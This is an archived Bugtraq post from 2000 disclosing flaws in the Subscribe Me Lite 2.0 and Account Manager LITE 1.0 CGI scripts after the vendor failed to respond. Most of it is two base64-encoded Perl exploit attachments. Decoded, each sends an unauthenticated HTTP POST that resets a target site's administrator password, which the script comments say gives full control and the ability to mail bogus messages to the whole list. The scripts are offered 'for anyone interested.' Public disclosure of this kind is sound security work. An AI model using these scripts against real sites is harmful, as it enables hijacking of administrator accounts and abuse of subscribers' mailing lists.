[16374] in bugtraq
Subscribe Me 2.0 & Account Manager 1.0 - (LITE)
daemon@ATHENA.MIT.EDU (teleh0r -)
Thu Aug 24 12:16:54 2000
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="386484741.967132340456.JavaMail.root@web431-mc.mail.com"
Message-Id: <386543071.967132354311.JavaMail.root@web431-mc.mail.com>
Date: Thu, 24 Aug 2000 11:52:20 -0400
Reply-To: teleh0r - <teleh0r@DOGLOVER.COM>
From: teleh0r - <teleh0r@DOGLOVER.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
--386484741.967132340456.JavaMail.root@web431-mc.mail.com
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
I'm glad to hear that you have been able to get through
to cgiscriptcenter, n30.
I wrote to them (twice) several months ago, describing
the issue with Subscribe Me Lite 2.0 and Account Manager LITE 1.0
and provided PoC exploits.
Unfortunately, I never heard from them ;( Exploits have been
available from my awful web site ever since.
Attached are my versions of the exploits, for anyone interested.
Sincerely yours,
teleh0r
______________________________________________
FREE Personalized Email at Mail.com
Sign up at http://www.mail.com/?sr=signup
--386484741.967132340456.JavaMail.root@web431-mc.mail.com
Content-Type: application/x-perl; name=amlite-xploit.pl
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=amlite-xploit.pl
Content-ID: amlite-xploit.pl
IyEvdXNyL2Jpbi9wZXJsIC13CgojIyBBY2NvdW50IE1hbmFnZXIgTElURSAxLjB4IC8gY2dpLmVs
aXRlaG9zdC5jb20KIyMgVGhpcyBleHBsb2l0IGxldCdzIHlvdSBjaGFuZ2UgdGhlIGFkbWluaXN0
cmF0b3IKIyMgcGFzc3dvcmQsIGFuZCBjb21wbGV0ZWx5IHRha2UgY29udHJvbGwuCiMjCiMjIHRl
bGVoMHJAZG9nbG92ZXIuY29tIC8gYW5ubyAyMDAwCiMjIGh0dHBkOi8vdGVsZWgwci5jamIubmV0
Cgp1c2Ugc3RyaWN0Owp1c2UgU29ja2V0OwoKaWYgKEBBUkdWIDwgMikgewogICAgcHJpbnQoIlVz
YWdlOiAkMCA8dGFyZ2V0PiA8bmV3cGFzcz5cbiIpOwogICAgZXhpdCgxKTsKfQoKbXkoJHRhcmdl
dCwkbmV3cGFzcywkY3J5cHQsJGxlbmd0aCwkY29tbWFuZCwKICAgJGFnZW50LCRzcGxvaXQsJGlh
ZGRyLCRwYWRkciwkcHJvdG8pOwoKKCR0YXJnZXQsJG5ld3Bhc3MpID0gQEFSR1Y7CgokY3J5cHQg
PSBjcnlwdCgkbmV3cGFzcywgJ2FhJyk7CiRsZW5ndGggPSAzNCArIGxlbmd0aCgkbmV3cGFzcyk7
CgpwcmludCgiXG5SZW1vdGUgaG9zdDogJHRhcmdldFxuIik7CnByaW50KCJDR0ktc2NyaXB0OiAv
Y2dpLWJpbi9zdWJzY3JpYmUucGxcbiIpOwpwcmludCgiTmV3IHBhc3N3b3JkOiAkbmV3cGFzcyAv
ICRjcnlwdFxuXG4iKTsKCiRjb21tYW5kID0gInB3ZD0kbmV3cGFzcyZwd2QyPSRuZXdwYXNzJnNl
dHB3ZD0rK1NldCtQYXNzd29yZCsrIjsKJGFnZW50ID0gIk1vemlsbGEvNC4wIChjb21wYXRpYmxl
OyBNU0lFIDUuMDE7IFdpbmRvd3MgOTUpIjsKCiMgTm90ZSB0aGF0IFBPU1QgL2NnaS1iaW4vYW1s
aXRlL2FtYWRtaW4ucGwgSFRUUC8xLjAKIyBtYXkgaGF2ZSB0byBiZSBjaGFuZ2VkLi4uCgokc3Bs
b2l0PQoiUE9TVCAvY2dpLWJpbi9hbWxpdGUvYW1hZG1pbi5wbCBIVFRQLzEuMApDb25uZWN0aW9u
OiBjbG9zZQpVc2VyLUFnZW50OiAkYWdlbnQKSG9zdDogJHRhcmdldApDb250ZW50LXR5cGU6IGFw
cGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZApDb250ZW50LWxlbmd0aDogJGxlbmd0aAoK
JGNvbW1hbmQiOwoKJGlhZGRyID0gaW5ldF9hdG9uKCR0YXJnZXQpICAgICAgICAgICAgICAgICAg
ICAgfHwgZGllKCJFcnJvcjogJCFcbiIpOwokcGFkZHIgPSBzb2NrYWRkcl9pbig4MCwgJGlhZGRy
KSAgICAgICAgICAgICAgICB8fCBkaWUoIkVycm9yOiAkIVxuIik7CiRwcm90byA9IGdldHByb3Rv
YnluYW1lKCd0Y3AnKSAgICAgICAgICAgICAgICAgIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKCnNv
Y2tldChTT0NLRVQsIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCAkcHJvdG8pICAgIHx8IGRpZSgiRXJy
b3I6ICQhXG4iKTsKY29ubmVjdChTT0NLRVQsICRwYWRkcikgICAgICAgICAgICAgICAgICAgICAg
ICAgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpzZW5kKFNPQ0tFVCwiJHNwbG9pdFwwMTVcMDEyIiwg
MCkgICAgICAgICAgICAgICB8fCBkaWUoIkVycm9yOiAkIVxuIik7CmNsb3NlKFNPQ0tFVCk7Cgpz
bGVlcCgyKTsKcHJpbnQoIlN1cmYgdG8gaHR0cDovLyR0YXJnZXQvY2dpLWJpbi9hbWxpdGUvYW1h
ZG1pbi5wbFxuIik7CmV4aXQoMCk7Cg==
--386484741.967132340456.JavaMail.root@web431-mc.mail.com
Content-Type: application/x-perl; name=sublite-xploit.pl
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=sublite-xploit.pl
Content-ID: sublite-xploit.pl
IyEvdXNyL2Jpbi9wZXJsIC13CgojIyBTdWJzY3JpYmUgTWUgTGl0ZSAyLjAgZXhwbG9pdCAvIHd3
dy5jZ2lzY3JpcHRjZW50ZXIuY29tCiMjIFRoaXMgZXhwbG9pdHMgY2hhbmdlcyB0aGUgYWRtaW5p
c3RyYXRvciBwYXNzd29yZCBhbmQKIyMgbGV0J3MgYW55b25lIHRha2Ugb3ZlciB0aGUgbWFpbGlu
ZyBsaXN0LiBZb3UgY2FuIHNlbmQKIyMgYm9ndXMgZS1tYWlsIHRvIGV2ZXJ5b25lIG9uIHRoZSBs
aXN0LgojIwojIyBNYXkgd29yayBvbiBlYXJsaWVyIHZlcnNpb25zLCBidXQgbm90IHN1cmUgLSBu
b3Qgc3VyZQojIyBpZiBpdCB3aWxsIHdvcmsgb24gdGhlIFByb2Zlc3Npb25hbCB2ZXJzaW9uIGVp
dGhlci4KIyMKIyMgdGVsZWgwckBkb2dsb3Zlci5jb20gLyBhbm5vIDIwMDAKIyMgaHR0cGQ6Ly90
ZWxlaDByLmNqYi5uZXQKCnVzZSBzdHJpY3Q7CnVzZSBTb2NrZXQ7CgppZiAoQEFSR1YgPCAyKSB7
CiAgICBwcmludCgiVXNhZ2U6ICQwIDx0YXJnZXQ+IDxuZXdwYXNzPlxuIik7CiAgICBleGl0KDEp
Owp9CgpteSgkdGFyZ2V0LCRuZXdwYXNzLCRjcnlwdCwkbGVuZ3RoLCRjb21tYW5kLAogICAkYWdl
bnQsJHNwbG9pdCwkaWFkZHIsJHBhZGRyLCRwcm90byk7CgooJHRhcmdldCwkbmV3cGFzcykgPSBA
QVJHVjsKCiRjcnlwdCA9IGNyeXB0KCRuZXdwYXNzLCAnYWEnKTsKJGxlbmd0aCA9IDM0ICsgbGVu
Z3RoKCRuZXdwYXNzKTsKCnByaW50KCJcblJlbW90ZSBob3N0OiAkdGFyZ2V0XG4iKTsKcHJpbnQo
IkNHSS1zY3JpcHQ6IC9jZ2ktYmluL3N1YnNjcmliZS5wbFxuIik7CnByaW50KCJOZXcgcGFzc3dv
cmQ6ICRuZXdwYXNzIC8gJGNyeXB0XG5cbiIpOwoKJGNvbW1hbmQgPSAicHdkPSRuZXdwYXNzJnB3
ZDI9JG5ld3Bhc3Mmc2V0cHdkPSsrU2V0K1Bhc3N3b3JkKysiOwokYWdlbnQgPSAiTW96aWxsYS80
LjAgKGNvbXBhdGlibGU7IE1TSUUgNS4wMTsgV2luZG93cyA5NSkiOwoKJHNwbG9pdD0KIlBPU1Qg
L2NnaS1iaW4vc3Vic2NyaWJlLnBsIEhUVFAvMS4wCkNvbm5lY3Rpb246IGNsb3NlClVzZXItQWdl
bnQ6ICRhZ2VudApIb3N0OiAkdGFyZ2V0CkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC13d3ct
Zm9ybS11cmxlbmNvZGVkCkNvbnRlbnQtbGVuZ3RoOiAkbGVuZ3RoCgokY29tbWFuZCI7CgokaWFk
ZHIgPSBpbmV0X2F0b24oJHRhcmdldCkgICAgICAgICAgICAgICAgICAgICB8fCBkaWUoIkVycm9y
OiAkIVxuIik7CiRwYWRkciA9IHNvY2thZGRyX2luKDgwLCAkaWFkZHIpICAgICAgICAgICAgICAg
IHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHByb3RvID0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpICAg
ICAgICAgICAgICAgICAgfHwgZGllKCJFcnJvcjogJCFcbiIpOwoKc29ja2V0KFNPQ0tFVCwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgICAgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpjb25u
ZWN0KFNPQ0tFVCwgJHBhZGRyKSAgICAgICAgICAgICAgICAgICAgICAgICB8fCBkaWUoIkVycm9y
OiAkIVxuIik7CnNlbmQoU09DS0VULCIkc3Bsb2l0XDAxNVwwMTIiLCAwKSAgICAgICAgICAgICAg
IHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKY2xvc2UoU09DS0VUKTsKCnNsZWVwKDIpOwpwcmludCgi
Q2hlY2sgb3V0OiBodHRwOi8vJHRhcmdldC9jZ2ktYmluL3N1YnNjcmliZS5wbFxuIik7CgpleGl0
KDApOwo=
--386484741.967132340456.JavaMail.root@web431-mc.mail.com--
